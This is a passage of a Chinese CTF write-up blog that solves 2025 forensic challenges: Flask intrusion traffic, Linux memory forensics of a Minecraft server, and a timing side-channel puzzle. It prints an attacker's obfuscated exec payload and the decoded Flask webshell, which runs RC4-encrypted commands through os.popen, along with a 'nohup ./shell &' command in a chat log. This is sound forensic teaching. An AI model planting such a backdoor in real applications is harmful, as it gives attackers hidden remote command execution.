2025复现文档#

路虽远，行则将至；事虽难，做则必成

喵

2025 CISCN&CCB 初赛#

MISC仅有一套流量题和两道AI，AI真无从下手了，写写流量题：

Q1：攻击者爆破成功的后台密码是什么？，结果提交形式：flag{xxxxxxxxx}

过滤http协议，可以看到很多/admin/login的请求，

发现密码爆破，直接找时间上最后一条/admin/login：

得到密码

Q2：攻击者通过漏洞利用获取Flask应用的 SECRET_KEY 是什么，结果提交形式：flag{xxxxxxxxxx}

直接在流量包全局过滤secret_key,只有一个数据包，查看得到：

(这里其实是登录成功后，后续攻击者执行了模板注入命令{{config}}的结果，从登录成功的数据包向下追踪，即可以看到攻击者注入命令的全过程)

Q3：攻击者植入的木马使用了加密算法来隐藏通讯内容。请分析注入Payload，给出该加密算法使用的密钥字符串(Key) ，结果提交形式：flag{xxxxxxxx}

分析攻击者登录后的操作：

这里是通过命令注入传了一个shell文件，并使用了编码

内容解码得到：

1
_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));
2
exec((_)(b'=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'))

是python匿名函数语句，逆向代码逻辑，将base64逆序，然后解压zlib即可：

发现处理完之后还有一层，直接使用cyberchef,将输出作为输入重复解码：

1
global exc_class
2
global code
3
import os,binascii
4
exc_class, code = app._get_exc_class_and_code(404)
5
RC4_SECRET = b'v1p3r_5tr1k3_k3y'
6
def rc4_crypt(data: bytes, key: bytes) -> bytes:
7
        S = list(range(256))
8
        j = 0
9
        for i in range(256):
10
                j = (j + S[i] + key[i % len(key)]) % 256
11
                S[i], S[j] = S[j], S[i]
12
        i = j = 0
13
        res = bytearray()
14
        for char in data:
15
                i = (i + 1) % 256
16
                j = (j + S[i]) % 256
17
                S[i], S[j] = S[j], S[i]
18
                res.append(char ^ S[(S[i] + S[j]) % 256])
19
        return bytes(res)
20
def backdoor_handler():
21
        if request.headers.get('X-Token-Auth') != '3011aa21232beb7504432bfa90d32779':
22
                return "Error"
23
        enc_hex_cmd = request.form.get('data')
24
        if not enc_hex_cmd:
25
                return ""
26
        try:
27
                enc_cmd = binascii.unhexlify(enc_hex_cmd)
28
                cmd = rc4_crypt(enc_cmd, RC4_SECRET).decode('utf-8', errors='ignore')
29
                output_bytes = getattr(os, 'popen')(cmd).read().encode('utf-8', errors='ignore')
30
                enc_output = rc4_crypt(output_bytes, RC4_SECRET)
31
                return binascii.hexlify(enc_output).decode()
32
        except:
33
                return "Error"
34
app.error_handler_spec[None][code][exc_class]=lambda error: backdoor_handler()

因此密码为： v1p3r_5tr1k3_k3y

Q4：攻击者上传了一个二进制后门，请写出木马进程执行的本体文件的名称，结果提交形式：flag{xxxxx}，仅写文件名不加路径

通过分析Q3得到的代码，可以得知后续的数据(data)使用了RC4加密，且我们已经得到密钥，直接解密即可：

执行id命令及回显：

ls命令及回显：

下载了shell.zip

这里我们可以提取出shell.zip的内容：

后续执行了解压操作：

从这里可以得到zip的密码为：nf2jd092jd01

我们进行解压即可得到shell文件

之后将shell移动到了python3.13:

那么可以得到执行的二进制后门的名字即为python3.13

Q5：请提取驻留的木马本体文件，通过逆向分析找出木马样本通信使用的加密密钥（hex，小写字母），结果提交形式：flag{[0-9a-f]+}

分析上面解压得到的shell程序，进行逆向分析：

shell的主函数：

发现key是通过rand得到的，而seed通过tcp在流量中传输

写出脚本

1
#include <stdint.h>
2
#include <iostream>
3
int main()
4
{
5
  uint32_t v8[4];
6
  srand(0x34952046);
7
  for (int i = 0; i <= 3; ++i )
8
    v8[i] = rand();
9
  for(int i = 0; i < 4; i++)
10
  {
11
    printf("%x",v8[i]);
12
  }
13
}

在linux下运行，把得到的结果换序即为加密密钥

ac46fb610b313b4f32fc642d8834b456

Q6：请提交攻击者获取服务器中的flag。结果提交形式：flag{xxxx}

上传shell后，攻击者进行连接，之后的通信为加密流量：

从中提取出加密的命令（data值）：

1
49b351855f211b85bd012f80ce8ed5b3
2
2cc5becb37ca595a89445461c6512efc
3
b863696da0c6bb28da46e09069dd644f
4
87e8faa921f3e67c530f1b6740a9d439794e426716d49f5e949d5d56f81ed54a97f6cc6752fcf7aa408a94e6a59029e7
5
b7c88bb0d92308a57f83d08a90ae024c
6
4331cfda21eeab8922fcc7acced16d1a17b02e8d2d9dfee48dc8f18e0dbbb2e4c4547e39d8c4aa2418d9fca52c9c4770
7
7f4b0ef4806983f164af6f46b71d3fce1e3c0bd00c4dd162b72c156f0f3aecd2afcabf551e08380db6fd20316f8a2729

逆向加密算法进行解密：

1
import struct
2

3
def read_params(path):
4
    with open(path, 'rb') as f:
5
        data = f.read()
6
    sbox = data[0x2020:0x2020+256]
7
    fk = [struct.unpack_from('<I', data, 0x2120+i*4)[0] for i in range(4)]
8
    ck = [struct.unpack_from('<I', data, 0x2140+i*4)[0] for i in range(32)]
9
    return sbox, fk, ck
10

11
def rol(x, n):
12
    return ((x << n) | (x >> (32 - n))) & 0xFFFFFFFF
13

14
class SM4:
15
    def __init__(self, sbox, fk, ck):
16
        self.sbox = sbox
17
        self.fk = fk
18
        self.ck = ck
19

20
    def tau(self, x):
21
        b0 = x & 0xFF
22
        b1 = (x >> 8) & 0xFF
23
        b2 = (x >> 16) & 0xFF
24
        b3 = (x >> 24) & 0xFF
25
        return ((self.sbox[b0] << 24) |
26
                (self.sbox[b1] << 16) |
27
                (self.sbox[b2] << 8) |
28
                self.sbox[b3])
29

30
    def L(self, x):
31
        return x ^ rol(x, 2) ^ rol(x, 10) ^ rol(x, 18) ^ rol(x, 24)
32

33
    def Lp(self, x):
34
        return x ^ rol(x, 13) ^ rol(x, 23)
35

36
    def T(self, x):
37
        return self.L(self.tau(x))
38

39
    def Tp(self, x):
40
        return self.Lp(self.tau(x))
41

42
    def expand(self, key, encrypt):
43
        if len(key) != 16:
44
            raise ValueError("Key must be 16 bytes")
45

46
        K = []
47
        for i in range(4):
48
            word = ((key[i*4] << 24) |
49
                    (key[i*4+1] << 16) |
50
                    (key[i*4+2] << 8) |
51
                    key[i*4+3])
52
            K.append(word ^ self.fk[i])
53

54
        rk = [0] * 32
55
        for i in range(32):
56
            tmp = K[1] ^ K[2] ^ K[3] ^ self.ck[i]
57
            newk = K[0] ^ self.Tp(tmp)
58

59
            if encrypt:
60
                rk[i] = newk
61
            else:
62
                rk[31-i] = newk
63

64
            K = [K[1], K[2], K[3], newk]
65

66
        return rk
67

68
    def process(self, rk, block):
69
        if len(block) != 16:
70
            raise ValueError("Block must be 16 bytes")
71

72
        X = []
73
        for i in range(4):
74
            word = ((block[i*4] << 24) |
75
                    (block[i*4+1] << 16) |
76
                    (block[i*4+2] << 8) |
77
                    block[i*4+3])
78
            X.append(word)
79

80
        for i in range(32):
81
            tmp = rk[i] ^ X[1] ^ X[2] ^ X[3]
82
            newx = X[0] ^ self.T(tmp)
83
            X = [X[1], X[2], X[3], newx]
84

85
        out = b''
86
        for i in [3, 2, 1, 0]:
87
            out += bytes([(X[i] >> 24) & 0xFF,
88
                         (X[i] >> 16) & 0xFF,
89
                         (X[i] >> 8) & 0xFF,
90
                         X[i] & 0xFF])
91
        return out
92

93
    def decrypt(self, key, cipher):
94
        rk = self.expand(key, False)
95
        result = b''
96
        for i in range(0, len(cipher), 16):
97
            block = cipher[i:i+16]
98
            if len(block) == 16:
99
                result += self.process(rk, block)
100

101
        if result:
102
            pad = result[-1]
103
            if 0 < pad <= 16:
104
                result = result[:-pad]
105

106
        return result
107

108
def main():
109
    binary_path = "/home/mitu/111/shell"
110
    sbox, fk, ck = read_params(binary_path)
111
    cipher = SM4(sbox, fk, ck)
112

113
    key_hex = "ac46fb610b313b4f32fc642d8834b456"
114
    key_bytes = bytes.fromhex(key_hex)
115

116
    ciphertext_hex = (
117
        "49b351855f211b85bd012f80ce8ed5b3"
118
        "2cc5becb37ca595a89445461c6512efc"
119
        "b863696da0c6bb28da46e09069dd644f"
120
        "87e8faa921f3e67c530f1b6740a9d439794e426716d49f5e949d5d56f81ed54a97f6cc6752fcf7aa408a94e6a59029e7"
121
        "b7c88bb0d92308a57f83d08a90ae024c"
122
        "4331cfda21eeab8922fcc7acced16d1a17b02e8d2d9dfee48dc8f18e0dbbb2e4c4547e39d8c4aa2418d9fca52c9c4770"
123
        "7f4b0ef4806983f164af6f46b71d3fce1e3c0bd00c4dd162b72c156f0f3aecd2afcabf551e08380db6fd20316f8a2729"
124
    )
125
    ciphertext_hex = ciphertext_hex.replace("\n", "").replace(" ", "")
126
    ciphertext_bytes = bytes.fromhex(ciphertext_hex)
127

128
    plaintext = cipher.decrypt(key_bytes, ciphertext_bytes)
129
    print(plaintext)
130

131
if __name__ == "__main__":
132
    main()

得到执行的命令以及flag

Mini V&N CTF 2025#

MCServer#

参考链接： https://goodlunatic.github.io/posts/761da51/#linux%E5%86%85%E5%AD%98%E5%8F%96%E8%AF%81

https://treasure-house.randark.site/blog/2023-10-25-MemoryForensic-Test/

https://mp.weixin.qq.com/s?__biz=MzA3OTk5MjE2OQ==&mid=2247484545&idx=1&sn=9b8c4d844d5efcf358d359021985f139&chksm=9eefc873eb09dc94960d29cb83eef48966a2048ee1c90b2fe1ad8de81fe2fdd6176f32071fa3&mpshare=1&scene=23&srcid=1206kW2mvbdeXjTKCDufzkYR&sharer_shareinfo=76fdb4ba40b3e7dab6252c6ca0e3f354&sharer_shareinfo_first=76fdb4ba40b3e7dab6252c6ca0e3f354#rd

https://xz.aliyun.com/news/17397

linux内存取证，需要制作Symbols（vol3）或Profiles（vol2）,这是 Volatility 的“地图”，告诉 Volatility 如何正确解析和理解特定操作系统（及其版本）的内存结构。

vol3 -f file banners.Banners

banner的内容是Linux 内核版本的详细信息，例如：

内核版本：Linux version 4.9.0-deepin13-amd64

编译者：yangbo@deepin.com

编译器版本：gcc version 6.3.0 20170321 (Debian 6.3.0-11)

编译类型：#1 SMP PREEMPT

发行版信息：Deepin 4.9.57-1

编译日期：(2017-10-19)

使用vol2进行取证，需要制作Profiles：#

内存镜像类似于一个”原始数据块”，其中没有目录，章节标题和页码，全是乱序的二进制数据，Volatility 需要知道：哪里是进程列表的开始？哪里是网络连接表？内核数据结构的布局是怎样的？这就是 Profile 的作用。

而在linux系统中，由于内核的多样性，一些发行版的深度定制，不同配置下的差异，会导致vol自有的Profile无法使用，因此需要制作对应的Profile

Profile具体包含了：

内核符号表：

来自System.map 或 vmlinux（带调试信息的可执行文件）：

1
// 类似于这样的映射：
2
ffffffff81000000 T startup_64      // 启动代码地址
3
ffffffff81800000 T init_task       // 关键数据结构地址
4
ffffffff81a00000 T modules         // 模块列表地址

告诉 Volatility 关键内核函数和变量的内存地址

内核数据结构定义：

1
// 例如 task_struct（进程结构体）在内存中的布局：
2
struct task_struct {
3
    volatile long state;        // 偏移 0x0
4
    void *stack;                // 偏移 0x8
5
    struct list_head tasks;     // 偏移 0x10
6
    pid_t pid;                  // 偏移 0x18
7
    // ...
8
};

而在不同内核版本的linux中，结构体布局是完全不同的

特定内核的配置信息：

例如：

1
编译时启用了哪些功能？
2
内存分页大小是多少？
3
地址空间布局（32位 or 64位）？

Profiles制作：#

一个vol2的Profile的结构总共包含两个文件：system.map(内核的静态符号表)以及module.dwarf(内核调试文件)

将两个文件用deflate压缩算法压缩成一个zip压缩包放到volatility/volatility/plugins/overlays/linux目录下即可

system.map：

根据已知的 4.9.0-deepin13-amd64 内核版本信息，可以确定这是deepin操作系统 15.5 版本

下载iso:https://sourceforge.net/projects/deepin/files/15.5/Release/deepin-15.5-amd64.iso/download

使用vmware创建虚拟机，进行换源，再安装必要软件包：

sudo apt install openssh-server gcc make net-tools

下载AVML到虚拟机内，并赋予权限（chmod +x avml）

然后开始制作镜像：

得到out.lime 内存镜像文件

接下来，开始构建 dwarf 内核调试文件，与获取 System.map 内存表文件

首先传输 dwarf 内核调试文件的编译文件：volatility/tools/linux，并尝试进行编译：

得到了module.dwarf文件。

接下来获取 System.map 内存表文件：

可以直接找到：

得到这两个文件后，进行压缩即可获得Profiles:

再把zip移动到vol2储存Profile的地方(volatility2/volatility/plugins/overlays/linux/):

使用info检查Profile:

使用 profile 进行内存镜像的解析：

接下来就可以使用vol2进行内存取证了：

1
Q1 蛤客zym在Minecraft游戏中的id是什么?
2
Q2 请寻找蛤客zym进入了与Minecraft相关的什么程序?
3
Q3 蛤客zym进入与Minecraft相关的程序使用的用户名和密码是什么?
4
Q4 请从蛤客zym的入侵痕迹找出他通过上传了什么得到了shell?

Q1: 游戏id，一般在服务器的日志中会体现：

列出所有文件查找：

python2 vol.py -f ~/Desktop/mem.mem --profile=LinuxDeepin_4_9_0-deepin13-amd64_profilex64 linux_enumerate_files > ~/Desktop/1.txt

发现了可疑的日志，进行导出：

python2 vol.py -f ~/Desktop/mem.mem --profile=LinuxDeepin_4_9_0-deepin13-amd64_profilex64 linux_find_file -i 0xffff9b878779d3e8 -O ~/Desktop/chatty_log

1
[02:49:48] nOo0b (34fe703f-7330-30df-95e3-437457cda10e): wxm你来了
2
[02:51:33] Butt3rwXm (93b88d54-1917-32e5-827e-2a2a64fc9bbe): n0师傅，这个怎么玩啊
3
[02:51:49] nOo0b (34fe703f-7330-30df-95e3-437457cda10e): 出生点有教程
4
[02:52:20] Butt3rwXm (93b88d54-1917-32e5-827e-2a2a64fc9bbe): n0师傅，这个箱子怎么开不了啊
5
[02:52:28] nOo0b (34fe703f-7330-30df-95e3-437457cda10e): 我看看
6
[02:55:16] nOo0b (34fe703f-7330-30df-95e3-437457cda10e): 好像插件有点问题
7
[02:55:46] nOo0b (34fe703f-7330-30df-95e3-437457cda10e): 过两天加个新手礼包替代箱子
8
[02:55:55] Butt3rwXm (93b88d54-1917-32e5-827e-2a2a64fc9bbe): 这是你弄得服务器吗，好强啊n0师傅
9
[02:57:03] nOo0b (34fe703f-7330-30df-95e3-437457cda10e): 是啊
10
[02:57:10] nOo0b (34fe703f-7330-30df-95e3-437457cda10e): 你要进后台vanvan吗
11
[02:57:22] nOo0b (34fe703f-7330-30df-95e3-437457cda10e): 就是这个用户名，密码还是6rocky里面Aa+数字那个的那个老密码
12
[02:57:55] nOo0b (34fe703f-7330-30df-95e3-437457cda10e): 就是这个用户名，密码还是§6rocky里面Aa+数字那个的那个老密码
13
[02:58:12] nOo0b (34fe703f-7330-30df-95e3-437457cda10e): 就是这个用户名，密码还是§6rocky里面Aa+数字那个的那个老密码
14
[02:59:36] 0ran93 (b8897229-baf9-3709-bc7d-a06b99cd70c7): 这个怎么玩啊
15
[02:59:46] XuXX (2500ff07-1153-3335-8243-45c9bd3d9c70): 直接挖脚下的方块就行了
16
[03:00:03] XuXX (2500ff07-1153-3335-8243-45c9bd3d9c70): 出生点写了吧
17
[03:00:17] W4ngXunF1sh (0fdac309-0978-3cba-a820-c4c4da0acc0c): butterwxm是四川萌妹吗
18
[03:00:25] W4ngXunF1sh (0fdac309-0978-3cba-a820-c4c4da0acc0c): 能一起玩吗
19
[03:00:30] 5h3n9NaN (8c4e9748-4a49-3849-abc0-53a61b5b573e): 能一起玩吗
20
[03:00:35] XuXX (2500ff07-1153-3335-8243-45c9bd3d9c70): 能一起玩吗
21
[03:00:44] Butt3rwXm (93b88d54-1917-32e5-827e-2a2a64fc9bbe): 可以啊
22
[03:00:54] Butt3rwXm (93b88d54-1917-32e5-827e-2a2a64fc9bbe): 怎么拉人啊
23
[03:01:08] nOo0b (34fe703f-7330-30df-95e3-437457cda10e): is team invite
24
[03:01:21] nOo0b (34fe703f-7330-30df-95e3-437457cda10e): 你可能没权限，我来吧
25
[03:01:33] nOo0b (34fe703f-7330-30df-95e3-437457cda10e): 拉完了给你创造我下了
26
[03:01:57] J4sm1ne4ur4 (452b75cf-9cc1-38be-9484-343c26e245fa): 出生点的箱子怎么开不了啊
27
[03:03:06] nOo0b (34fe703f-7330-30df-95e3-437457cda10e): 我先下了
28
[03:03:13] nOo0b (34fe703f-7330-30df-95e3-437457cda10e): 明天再一起玩学姐
29
[03:03:31] 0ran93 (b8897229-baf9-3709-bc7d-a06b99cd70c7): aura你来了，来van
30
[03:04:48] XuXX (2500ff07-1153-3335-8243-45c9bd3d9c70): 憋笑[1]
31
[03:05:04] J4sm1ne4ur4 (452b75cf-9cc1-38be-9484-343c26e245fa): 憋笑都更新出3.0和4.0了
32
[03:07:01] 5h3n9NaN (8c4e9748-4a49-3849-abc0-53a61b5b573e): 不是这怎么会出蠹虫和蜘蛛网啊c
33
[03:07:11] 0ran93 (b8897229-baf9-3709-bc7d-a06b99cd70c7): 二号选手取证大师就是强[点赞]
34
[03:07:23] XuXX (2500ff07-1153-3335-8243-45c9bd3d9c70): 二号选手取证大师就是强[点赞]
35
[03:08:20] 0ran93 (b8897229-baf9-3709-bc7d-a06b99cd70c7): ???wc，怎么死亡会掉落啊
36
[03:08:30] 5h3n9NaN (8c4e9748-4a49-3849-abc0-53a61b5b573e): run了
37
[03:09:15] J4sm1ne4ur4 (452b75cf-9cc1-38be-9484-343c26e245fa): ???wc，怎么死亡会掉落啊
38
[03:11:06] Hu4ngrk1n (ad52f988-ed77-39fb-9c15-c24ec06cad1d): @butt3rwxm 能和你们一起玩吗
39
[03:11:14] Hu4ngrk1n (ad52f988-ed77-39fb-9c15-c24ec06cad1d): 一个人好无聊
40
[03:11:22] Butt3rwXm (93b88d54-1917-32e5-827e-2a2a64fc9bbe): 我看看怎么拉人
41
[03:11:30] Butt3rwXm (93b88d54-1917-32e5-827e-2a2a64fc9bbe): 不行啊
42
[03:11:37] Butt3rwXm (93b88d54-1917-32e5-827e-2a2a64fc9bbe): 我再试试
43
[03:11:47] Butt3rwXm (93b88d54-1917-32e5-827e-2a2a64fc9bbe): 我看看n0师傅睡没睡，让他给个权限或者拉下
44
[03:14:33] nOo0b (34fe703f-7330-30df-95e3-437457cda10e): 我把岛主转给你了学姐，我先睡了
45
[03:14:54] W4ngXunF1sh (0fdac309-0978-3cba-a820-c4c4da0acc0c): butterwxm给个三叉戟，给你表演个魔术
46
[03:18:35] Butt3rwXm (93b88d54-1917-32e5-827e-2a2a64fc9bbe): 啊？
47
[03:18:44] Butt3rwXm (93b88d54-1917-32e5-827e-2a2a64fc9bbe): 不是戈门
48
[03:18:46] Butt3rwXm (93b88d54-1917-32e5-827e-2a2a64fc9bbe): ？？
49
[03:19:21] Butt3rwXm (93b88d54-1917-32e5-827e-2a2a64fc9bbe): @nOo0b 登不上面板a
50
[03:19:40] Butt3rwXm (93b88d54-1917-32e5-827e-2a2a64fc9bbe): 密码不对啊
51
[03:20:41] nOo0b (34fe703f-7330-30df-95e3-437457cda10e): 改过了，就是rocky里面Aa开头那个，之前可能输了一位
52
[03:21:38] Butt3rwXm (93b88d54-1917-32e5-827e-2a2a64fc9bbe): ok，我去看看
53
[03:22:58] nOo0b (34fe703f-7330-30df-95e3-437457cda10e): xiale
54
[03:47:03] W4ngXunF1sh (0fdac309-0978-3cba-a820-c4c4da0acc0c): @shell nohup ./shell &

注意到最后，W4ngXunF1sh执行了@shell nohup ./shell &

因此判断这即是黑客的id

Q2 请寻找蛤客zym进入了与Minecraft相关的什么程序?

我们知道mc是java编写的，尝试找出所有Java进程，这是Minecraft的核心：

python2 vol.py -f ~/Desktop/mem.mem --profile=LinuxDeepin_4_9_0-deepin13-amd64_profilex64 linux_psaux | grep -i "java"

可以找到一个叫**mcsmanager**的程序，经搜索发现这是一款免费、开源、轻量级的游戏服务器控制面板。主要用于管理 Minecraft 服务器

因此可以推测这就是相关的程序。

Q3 蛤客zym进入与Minecraft相关的程序使用的用户名和密码是什么?

在之前导出的所有文件列表中搜索mcsmanager，可以知道它的路径是：/opt/mcsmanager

用户名和密码的核心是找到并分析其配置文件或数据库，因为密码通常以哈希或加密形式存储其中。

在内存中搜mcsanager目录下所有可能包含凭证的文件：

在其中找到了user目录：

导出/user下的json文件：

python2 vol.py -f ~/Desktop/mem.mem --profile=LinuxDeepin_4_9_0-deepin13-amd64_profilex64 linux_find_file -i 0xffff9b883f2be658 -O ~/Desktop/b403738834b24115b7f503dbb4d18d8b.json

可以看到用户名和密码哈希，hashcat字典爆破得到密码：

Q4 请从蛤客zym的入侵痕迹找出他通过上传了什么得到了shell?

2025-05-12的日志中可以知道发现W4ngXunF1sh执行了shell命令：

同时执行后服务器出现了异常

找到之后时间的日志：

分析发现Purpur 服务器的 Watchdog 线程检测到主线程卡死，服务器主线程在读取文件时被阻塞了。从堆栈跟踪可以看出：

cloud.xzai.message.MessageEvent.onPlayerChat(MessageEvent.java:89)

在 MessageEvent.java 的第89行，代码正在执行文件读取操作。

分析得知Dream.jar 插件中的 MessageEvent.onPlayerChat 方法在处理玩家聊天时，正在同步读取文件

导出Dream.jar进行分析：

确认了这是一个后门插件

VNCTF{W4ngXunF1sh_mcsmanager_nOo0b,Aa123456789_Dream.jar}

强网拟态线下 2025#

{% note green ‘fas fa-fan’ flat%} 史题共赏（bushi {% endnote %}

复现参考： https://goodlunatic.github.io/posts/353513a/

泄露的时间与电码#

题目有三个附件：

chal.py:

1
import time
2
import random
3
import sys
4

5
class SecureTypewriter:
6
    def __init__(self):
7
        self.lfsr = 0x92
8
        self.time_unit = 0.005
9
        self.jitter = 0.001
10
        self.base_overhead = 10
11
        self.branch_penalty = 30
12
    def step_lfsr(self):
13
        bit = ((self.lfsr >> 0) ^ (self.lfsr >> 2) ^ (self.lfsr >> 3) ^ (self.lfsr >> 4)) & 1
14
        self.lfsr = (self.lfsr >> 1) | (bit << 7)
15
        return self.lfsr
16

17
    def scramble(self, val):
18
        return ((val * 0x1F) + 0x55) & 0xFF
19

20
    def process_char(self, char):
21
        c = ord(char)
22

23
        k = self.step_lfsr()
24

25
        val = c ^ k
26

27
        base_ops = self.scramble(val)
28

29
        current_ops = self.base_overhead + base_ops
30

31
        if base_ops % 2 != 0:
32
            current_ops += self.branch_penalty
33

34
        real_duration = current_ops * self.time_unit
35

36
        noise = random.uniform(-self.jitter, self.jitter)
37
        total_time = max(0, real_duration + noise)
38

39
        return total_time
40

41
    def process_text(self, text):
42
        timings = []
43
        for char in text:
44
            elapsed = self.process_char(char)
45
            timings.append(elapsed)
46
        return timings
47

48
if __name__ == "__main__":
49
    try:
50
        with open("flag.txt", "r") as f:
51
            content = f.read().strip()
52
    except FileNotFoundError:
53
        print("Error: flag.txt not found.")
54
        sys.exit(1)
55

56
    machine = SecureTypewriter()
57
    print(f"Processing {len(content)} characters with SecureTypewriter v2.0...")
58

59
    logs = machine.process_text(content)
60

61
    with open("timing.log", "w") as f:
62
        for t in logs:
63
            f.write(f"{t:.6f}\n")
64

65
    print("Processing complete. Timing data saved to timing.log")

timing.log:

以及一个可执行程序chal，通过分析，chal.py和chal逻辑相同：

这是一个模拟基于时间的侧信道攻击防护的系统，

脚本运行后：

从 flag.txt 读取秘密内容
用上面的方法逐个字符处理
记录每个字符的处理时间
把时间数据保存到 timing.log

根据脚本逻辑很容易写出逆向脚本：

1
def step_lfsr(lfsr):
2
    bit = ((lfsr >> 0) ^ (lfsr >> 2) ^ (lfsr >> 3) ^ (lfsr >> 4)) & 1
3
    lfsr = (lfsr >> 1) | (bit << 7)
4
    return lfsr
5

6
def unscramble(bops):
7
    return ((bops - 0x55) * 223) & 0xFF
8

9
# 读取时间数据
10
with open("timing.log", "r") as f:
11
    timings = [float(line.strip()) for line in f]
12

13
flag = ""
14
lfsr = 0x92  # 初始状态
15

16
for i, t in enumerate(timings):
17
    # 更新 LFSR，与加密时完全一致
18
    lfsr = step_lfsr(lfsr)
19
    k = lfsr
20

21
    # 计算 current_ops（考虑噪声）
22
    current_ops = round(t / 0.005)
23

24
    # 尝试两种分支
25
    candidates = []
26

27
    # 分支1：base_ops 是偶数（无 penalty）
28
    base_ops_even = current_ops - 10
29
    if 0 <= base_ops_even <= 255 and base_ops_even % 2 == 0:
30
        val = unscramble(base_ops_even)
31
